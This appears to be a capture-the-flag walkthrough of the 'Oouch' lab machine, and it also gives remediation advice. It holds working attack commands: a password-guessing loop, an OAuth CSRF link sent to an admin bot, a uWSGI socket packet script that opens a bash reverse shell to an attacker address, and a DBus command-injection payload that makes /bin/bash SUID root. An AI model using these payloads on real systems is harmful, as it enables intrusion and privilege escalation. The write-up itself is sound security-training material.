← all walkthroughs

Oouch

Linux· Hard
owned
2026-07-10
time to own
27m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The Oouch target ($TARGET) hosted a two-application OAuth2 platform: a Flask consumer on port 5000 and a Django authorization server on port 8000. An anonymous FTP service handed me a complete map of the internal architecture before any authenticated request was made. A guessable developer password on the Django server enabled registration of my own OAuth client.

The account-link authorization endpoint carried no CSRF state parameter, so the consumer application's admin contact bot was used to force the administrator into silently granting my OAuth client access to the admin account. Because /oauth/authorize grants a client on a GET with no confirmation step, the resulting authorization code was delivered to my own listener. Exchanging that code for a bearer token and calling the protected /api/get_ssh endpoint returned the system user qtc's SSH private key, providing shell access to the host.

An unpassphrase-protected second SSH key in qtc's home directory pivoted into the internal Flask Docker container, where the uWSGI application socket was world-writable due to a chmod-sock=777 configuration error. A crafted uWSGI protocol packet executed commands as www-data, and a root-owned DBus service that passed the caller-supplied IP argument directly into a shell-executed iptables command was then invoked with injected metacharacters, completing full root compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_PREFIX="<the-first-three-octets-of-that-network>"
export PASSWORD="<the-password-you-recovered, for develop>"
export TOKEN="<the-token-you-captured>"
export CHOSEN_PASSWORD="<a-password-you-choose>"

Some commands also carry a value in angle brackets (<a-name-you-choose>, <access_token>, <captured_code>, <csrf_token>, <ssh_key_value>, <the-name-you-chose>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1ReconnaissanceNetwork service enumeration; anonymous FTP read access (T1083)
Mapped exposed services and retrieved the internal OAuth2 architecture from anonymous FTP
A port scan of $TARGET identified four services: FTP on port 21, SSH on port 22, an Nginx-proxied Flask application on port 5000, and a Django application on port 8000. The FTP service accepted anonymous logins with no password. A project.txt file on the server documented the internal split: the Flask application is the OAuth Consumer and the Django application is the Authorization Server. This gave me a complete understanding of the target architecture before making a single authenticated request.
project.txt retrieved via anonymous FTP confirmed Flask=Consumer (port 5000), Django=Authorization Server (port 8000).
Exact commands 4
shell

Identify open services and version banners.

$ nmap -sV -sC -p 21,22,5000,8000 $TARGET
shell

Curl logs into FTP anonymously unless told otherwise, which is the whole finding: the listing comes back to anyone.

$ curl -s ftp://$TARGET/
shell

Read project.txt: reveals the Flask/Django OAuth2 architecture.

$ curl -s ftp://$TARGET/project.txt
shell

Register both virtual-host names for local resolution.

$ echo "$TARGET consumer.oouch.htb authorization.oouch.htb" | sudo tee -a /etc/hosts
FixDisable anonymous FTP access and remove sensitive architecture documents from the FTP serverMedium
WeaknessThe vsftpd service accepted anonymous logins without a password and served project.txt, which described the internal OAuth2 application architecture in plain terms. An unauthorised user received a complete map of the attack surface before making a single authenticated request.
FixSet anonymous_enable=NO in /etc/vsftpd.conf and restart vsftpd. Audit every file in the FTP content directory and remove any document that describes internal architecture, names services, or contains configuration hints. If FTP is not operationally required, disable and uninstall vsftpd entirely.
2Credential AccessPassword guessing (T1110.001)
Guessed the internal developer password on the Django authorization server
The Django server's login form is reachable from the network, and Django does not rate-limit it by default. The account worth trying is the one an internal application names after its own purpose, develop, and the password behind it is long, memorable and guessable, which is what a wordlist is for. That session matters because of what it can do rather than what it can read: a logged-in user of this server may register OAuth client applications, and a client application is a party the authorization server will issue codes to.
A POST to /login/ with the CSRF token from the form authenticated as develop and returned a session cookie; the account is internal to the authorization server rather than a consumer account.
Exact commands 3
shell

Which names the server treats as accounts at all. A wordlist run against the one that answers differently is the next step.

$ for u in develop developer admin qtc; do printf '%s ' "$u"; curl -s -o /dev/null -w '%{http_code}\n' -X POST 'http://authorization.oouch.htb:8000/login/' -d "username=$u&password=x"; done
shell

Fetch the login page and extract the Django CSRF token value.

$ curl -s -c auth_cookies.txt 'http://authorization.oouch.htb:8000/login/' | grep -i 'csrfmiddlewaretoken' | head -1
shell

Authenticate as the develop account; a 302 followed by 200 confirms success.

$ curl -s -c auth_cookies.txt -b auth_cookies.txt -X POST 'http://authorization.oouch.htb:8000/login/' -d "username=develop&password=$PASSWORD&csrfmiddlewaretoken=<csrf_token>" -L -o /dev/null -w '%{http_code}'
FixEnforce strong, unique passwords and least-privilege on all developer accountsHigh
WeaknessThe internal 'develop' account used a guessable password and held the power to register OAuth client applications on the authorization server, making credential guessing the entry point for the entire attack chain.
FixEnforce a minimum 16-character, high-entropy password for every account, with an account lockout policy after five failed attempts. Require multi-factor authentication for accounts with OAuth application-registration privileges. Audit and remove developer or test accounts from the production environment; if they are operationally necessary, restrict them to the minimum required permissions.
3ExploitationOAuth2 CSRF / missing state parameter (CWE-352, T1550.001)
Registered my OAuth client and force-authorized it under the admin account via a CSRF attack
Two registrations and one link. On the authorization server, the develop session registers an OAuth client whose redirect_uri points at my own listener; the server issues a client_id and a client_secret for it. On the consumer, I register an ordinary account, because the contact form that reaches the administrator is behind its login. The /oauth/authorize endpoint grants a *logged-in user's* authorization to a client, and it does so on a GET with no confirmation step, which is a cross-site request forgery waiting for a browser that is already authenticated as someone worth having. The contact form is that browser: the administrator's bot follows the URL submitted to it.
An authenticated POST to /contact from a freshly registered consumer account returned HTTP 200, and the administrator's bot followed the submitted authorization URL for the client registered under develop.
Exact commands 6
shell

Fetch the application registration form and extract the CSRF token.

$ curl -s -c auth_cookies.txt -b auth_cookies.txt 'http://authorization.oouch.htb:8000/oauth/applications/register/' | grep csrfmiddlewaretoken | head -1
shell

Register my OAuth client using the develop session; record the issued client_id.

$ curl -s -c auth_cookies.txt -b auth_cookies.txt -X POST 'http://authorization.oouch.htb:8000/oauth/applications/register/' -d "name=AttackerApp&client_id=atkClientId1234&client_secret=$TOKEN&client_type=confidential&authorization_grant_type=authorization-code&redirect_uris=http://$ATTACKER_IP:8081/callback&csrfmiddlewaretoken=<csrf_token>" -H 'Referer: http://authorization.oouch.htb:8000/oauth/applications/register/'
shell

An ordinary account on the consumer. /contact redirects to the login page without one.

$ curl -s -c consumer_cookies.txt -b consumer_cookies.txt -X POST 'http://consumer.oouch.htb:5000/register' --data-urlencode 'username=<a-name-you-choose>' --data-urlencode "password=$CHOSEN_PASSWORD"
shell

The session the contact form needs.

$ curl -s -c consumer_cookies.txt -b consumer_cookies.txt -X POST 'http://consumer.oouch.htb:5000/login' --data-urlencode 'username=<the-name-you-chose>' --data-urlencode "password=$CHOSEN_PASSWORD"
shell

Start my listener to catch the authorization code redirect.

$ python3 -m http.server 8081 2>&1 | tee /tmp/listener.log &
shell

Submit the CSRF URL to the contact form; the admin bot follows it, authorizing my app under the admin identity. Replace $ATTACKER_IP with my IP.

$ curl -s -c consumer_cookies.txt -b consumer_cookies.txt -X POST 'http://consumer.oouch.htb:5000/contact' -d "message=http://authorization.oouch.htb:8000/oauth/authorize/?client_id=atkClientId1234%26response_type=code%26redirect_uri=http://$ATTACKER_IP:8081/callback%26scope=read"
FixRequire a CSRF state parameter on the OAuth2 authorization endpointCritical
WeaknessThe Django authorization server's /oauth/authorize endpoint accepted GET requests from any origin without a CSRF state parameter. An authenticated administrator who visited an unauthorised user-crafted URL unknowingly granted an unauthorised user's OAuth application access to their account, with no visible confirmation.
FixGenerate a cryptographically random, per-session state value when initiating an authorization request and verify its exact match in the callback before processing any grant. This is required by RFC 6749 §10.12. Ensure the state is bound to the user's session token, is single-use, and expires within a short window. In Django OAuth Toolkit this is controlled by the PKCE and state enforcement settings in OAUTH2_PROVIDER.
4ExploitationCross-site request forgery against an authorization endpoint (T1189)
Took the administrator's authorization code out of my own listener
The bot's visit does what a real administrator's would: the server issues an authorization code for the client and redirects the browser to that client's redirect_uri. The client is mine, so the redirect_uri is mine, and the code arrives in my listener's log. Nothing here needs the server to be lax about redirect URIs. The weakness is that /oauth/authorize acts on a GET without asking the user to confirm, so any page the administrator's browser can be made to visit can grant a client access on their behalf, and a client anyone may register is I may register.
The listener received an OAuth redirect carrying a code for the registered client against authorization.oouch.htb, and that code exchanged for a bearer token at /oauth/token/.
Exact commands 2
shell

Extract the authorization code value from the captured redirect request.

$ grep 'GET /callback?code=' /tmp/listener.log
shell

Exchange the captured code for a bearer access_token at the token endpoint.

$ curl -s -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -d "grant_type=authorization_code&code=<captured_code>&redirect_uri=http://$ATTACKER_IP:8081/callback&client_id=atkClientId1234&client_secret=$TOKEN"
FixValidate redirect_uri strictly against the value registered for each OAuth clientCritical
WeaknessThe OAuth2 authorization endpoint accepted any redirect_uri value supplied at request time without checking it against the URI stored during client registration. An externally supplied redirect_uri caused the authorization code to be delivered to an externally controlled server, converting the CSRF attack into a stolen credential.
FixCompare the redirect_uri in every authorization request against the exact string stored at client registration time using full equality; reject any request where they differ. Never allow prefix, wildcard, or path-only matching. In Django OAuth Toolkit, set ALLOWED_REDIRECT_URI_SCHEMES to a strict list and ensure the redirect_uri check is not bypassed for confidential clients.
5Credential AccessSensitive API data exposure via OAuth bearer token (T1552.001)
Called the protected SSH-key API endpoint with the bearer token and obtained qtc's private key
The access token returned by the token endpoint was scoped to the administrator's account. Presenting it as a Bearer token to the /api/get_ssh endpoint on the authorization server returned a JSON object containing the SSH private key for the system user 'qtc'. The endpoint required only a valid OAuth2 bearer token with read scope, no additional factor, to return production cryptographic material, meaning the OAuth bypass alone was sufficient to extract a host credential.
Exact commands 2
shell

Call the protected endpoint; the response JSON includes ssh_server, ssh_user, and ssh_key fields containing qtc's private key.

$ curl -s -H 'Authorization: Bearer <access_token>' 'http://authorization.oouch.htb:8000/api/get_ssh/'
shell

Save the returned private key to disk with correct permissions.

$ python3 -c "import sys; k=sys.argv[1]; open('/tmp/id_oouch_qtc','w').write(k); import os; os.chmod('/tmp/id_oouch_qtc',0o600)" "<ssh_key_value>"
6FootholdSSH authentication with a stolen private key (T1078.003)
Authenticated to the host as qtc using the stolen SSH private key and captured the user flag
The SSH private key extracted from the API accepted a direct connection to the host as 'qtc' (uid=1000). No passphrase was required. The user flag was present in qtc's home directory at /home/qtc/user.txt.
Exact commands 2
shell

Log in as qtc using the stolen private key.

$ ssh -i /tmp/id_oouch_qtc -o StrictHostKeyChecking=no qtc@$TARGET
shell

Read the user flag: <user.txt>.

$ cat /home/qtc/user.txt
7Lateral MovementSSH lateral movement via passphrase-free internal private key (T1021.004, T1552.004)
Pivoted into the Flask Docker container using an unpassphrase-protected SSH key from qtc's home directory
Qtc's ~/.ssh/ directory contained a second private key, id_rsa, stored without a passphrase. Network enumeration from the host revealed the Docker bridge subnet $INTERNAL_HOST/24. SSH with that key authenticated to $INTERNAL_HOST2, the Flask consumer Docker container, dropping a shell in /code, the application's working directory. Inspection of /code/uwsgi.ini and /tmp/uwsgi.socket confirmed the uWSGI application socket and its permissions.
Exact commands 5
shell

From qtc's shell: list SSH keys; id_rsa is an unprotected key.

$ ls -la ~/.ssh/
shell

Identify Docker bridge subnets; look for $INTERNAL_HOST/24.

$ ip route show
shell

The key opens more than one container. The one with /code in it is the consumer.

$ for n in $(seq 2 8); do printf "$INTERNAL_PREFIX.%s " "$n"; ssh -i ~/.ssh/id_rsa -o StrictHostKeyChecking=no -o ConnectTimeout=2 "$INTERNAL_PREFIX.$n" 'hostname; ls /code 2>/dev/null | head -3' 2>&1 | tr '\n' ' '; echo; done
shell

Connect to the Flask consumer Docker container using the unprotected key.

$ ssh -i ~/.ssh/id_rsa -o StrictHostKeyChecking=no $INTERNAL_HOST2
shell

Confirm chmod-sock=777 in uwsgi.ini and world-writable permissions (srw-rw-rw-) on the socket.

$ cat /code/uwsgi.ini && ls -la /tmp/uwsgi.socket
FixRemove passphrase-free SSH private keys from user home directoriesHigh
WeaknessAn SSH private key stored without a passphrase in /home/qtc/.ssh/ was directly usable to authenticate into internal Docker containers. Its presence enabled lateral movement that would not have been possible had the key been passphrase-protected or removed.
FixAudit all user home directories for unprotected private keys: any key for which ssh-keygen -y -f succeeds without a passphrase prompt is a risk. Protect every key with a strong passphrase. For automated internal service access, use dedicated service accounts, short-lived SSH certificates issued by an internal CA, or a secrets manager, rather than long-lived key files on disk.
8Privilege EscalationWorld-writable uWSGI UNIX socket privilege escalation (T1574)
Sent a crafted uWSGI protocol packet to the world-writable socket to execute code as www-data
Inside the container, /tmp/uwsgi.socket had permissions srw-rw-rw- because uwsgi.ini specified chmod-sock=777. Any process on the container could send raw uWSGI binary packets to this socket. By constructing a uWSGI packet that set UWSGI_FILE to an exec:// URI, the uWSGI worker was instructed to execute an arbitrary OS command. The worker ran as www-data, so the injected command executed under that account, providing a shell with the DBus permissions needed for the final escalation step.
Chmod-sock=777 in /code/uwsgi.ini; srw-rw-rw- permissions on /tmp/uwsgi.socket confirmed inside the container.
Exact commands 2
shell

Start a reverse-shell listener on my machine before sending the uWSGI packet.

$ nc -lvnp 4444
shell

The heredoc is unquoted so the listener address is substituted here; everything else in the script is the target's own syntax.

$ python3 - <<PY
import os, socket, struct

def pack_var(key, value):
    kb, vb = key.encode(), value.encode()
    return struct.pack('<HH', len(kb), len(vb)) + kb + vb

# The exec:// modifier tells uWSGI the 'application' to load is a
# command. The socket is world-writable, so anyone in the container
# can ask for one.
cmd = "bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"
body = pack_var('UWSGI_FILE', 'exec://' + cmd)
head = struct.pack('<BHB', 0, len(body), 0)

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/tmp/uwsgi.socket')
s.send(head + body)
print(s.recv(4096)[:200])
PY
FixRestrict uWSGI socket permissions to the application owner and web server groupCritical
WeaknessThe uWSGI application socket /tmp/uwsgi.socket was created world-writable (chmod-sock=777 in uwsgi.ini). Any process on the container, including one introduced by an unauthorised user, could send raw uWSGI protocol packets and trigger arbitrary code execution as the www-data process owner.
FixRemove the chmod-sock=777 directive from uwsgi.ini. Set chmod-sock=660 with the socket owned by www-data and grouped to the nginx user. Move the socket out of /tmp into a dedicated directory such as /run/uwsgi/ that is accessible only to those two accounts. Verify permissions after every uWSGI restart.
9Privilege EscalationDBus command injection via unsanitized parameter passed to a shell (T1059, CWE-78)
Injected shell commands through the root-owned htb.oouch.Block DBus service to gain root
The DBus policy file /etc/dbus-1/htb.oouch.Block.conf granted www-data explicit permission to send messages to the htb.oouch.Block system bus service. That service's Block() method accepted an IP address string and passed it without any validation into an iptables command executed by the root-owned dbus-daemon process. Calling Block() with a value containing shell metacharacters (e.g., '; chmod +s /bin/bash ;') caused the iptables invocation to run my own commands as root. A SUID-root bash binary was created, providing an unrestricted root shell and access to /root/root.txt.
/etc/dbus-1/htb.oouch.Block.conf lists www-data as an allowed sender to htb.oouch.Block; a Block() call carrying shell metacharacters ran as root, and the setuid shell it left returned uid 0 and the root flag.
Exact commands 3
shell

Confirm www-data is listed as an allowed sender to the htb.oouch.Block destination.

$ cat /etc/dbus-1/htb.oouch.Block.conf
shell

Run from the www-data shell obtained in step 8. The semicolons escape the iptables argument; chmod +s /bin/bash executes as root.

$ python3 - <<'PY'
import sys
sys.path.insert(0, '/usr/lib/python3/dist-packages')
import dbus
bus = dbus.SystemBus()
obj = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
iface = dbus.Interface(obj, dbus_interface='htb.oouch.Block')
payload = '; chmod +s /bin/bash ;'
print(iface.Block(payload))
bus.close()
PY
shell

Open a SUID-elevated bash shell, verify root (uid=0), and read the root flag: <root.txt>.

$ /bin/bash -p -c 'id && cat /root/root.txt'
FixSanitize input to the htb.oouch.Block DBus service and drop root privileges from the serviceCritical
WeaknessThe root-owned htb.oouch.Block DBus service passed a caller-supplied IP address string directly into an iptables shell command without validation. Any process holding the www-data send permission could call Block() with shell metacharacters embedded in the IP field and execute arbitrary commands as root.
FixValidate the IP argument against a strict allowlist regex (^(\d{1,3}\.){3}\d{1,3}$) and reject any non-matching input before use. Replace the shell invocation with a subprocess list call: subprocess.run(['/sbin/iptables', '-I', 'INPUT', '-s', validated_ip, '-j', 'DROP']), so no shell interpretation occurs. Run the DBus service as a dedicated non-root account granted only the CAP_NET_ADMIN capability rather than running as root.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

21/tcp
22/tcp
5000/tcp
8000/tcp